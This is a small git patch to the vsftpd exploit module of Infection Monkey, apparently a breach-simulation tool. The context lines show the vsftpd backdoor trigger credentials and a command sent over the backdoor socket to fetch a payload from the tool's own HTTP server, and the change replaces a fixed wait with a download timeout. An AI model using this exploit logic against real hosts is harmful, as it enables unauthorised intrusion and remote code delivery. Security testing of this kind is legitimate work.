From 1587aa2d4c0f2761d3f27534f656ed0a11084649 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Fri, 15 Mar 2019 12:47:59 +0100 Subject: [PATCH] Update vsftpd.py --- monkey/infection_monkey/exploit/vsftpd.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index 2f072cb7c..6f05ba428 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -19,6 +19,7 @@ FTP_PORT = 21 TRANSFER_UPDATE_RATE = 15 USERNAME = b'USER letmein:)\n' PASSWORD = b'PASS please\n' +DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder class VSFTPDExploiter(HostExploiter): @@ -85,9 +86,9 @@ class VSFTPDExploiter(HostExploiter): LOG.info("Download_command is %s",download_command) command = str.encode(str(download_command) + '\n') - backdoor_socket.send(command) - time.sleep(3) # wait till the file is downloaded - LOG.info("waiting 3 seconds for download to be completed") + backdoor_socket.send(command) + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() #changeit to executable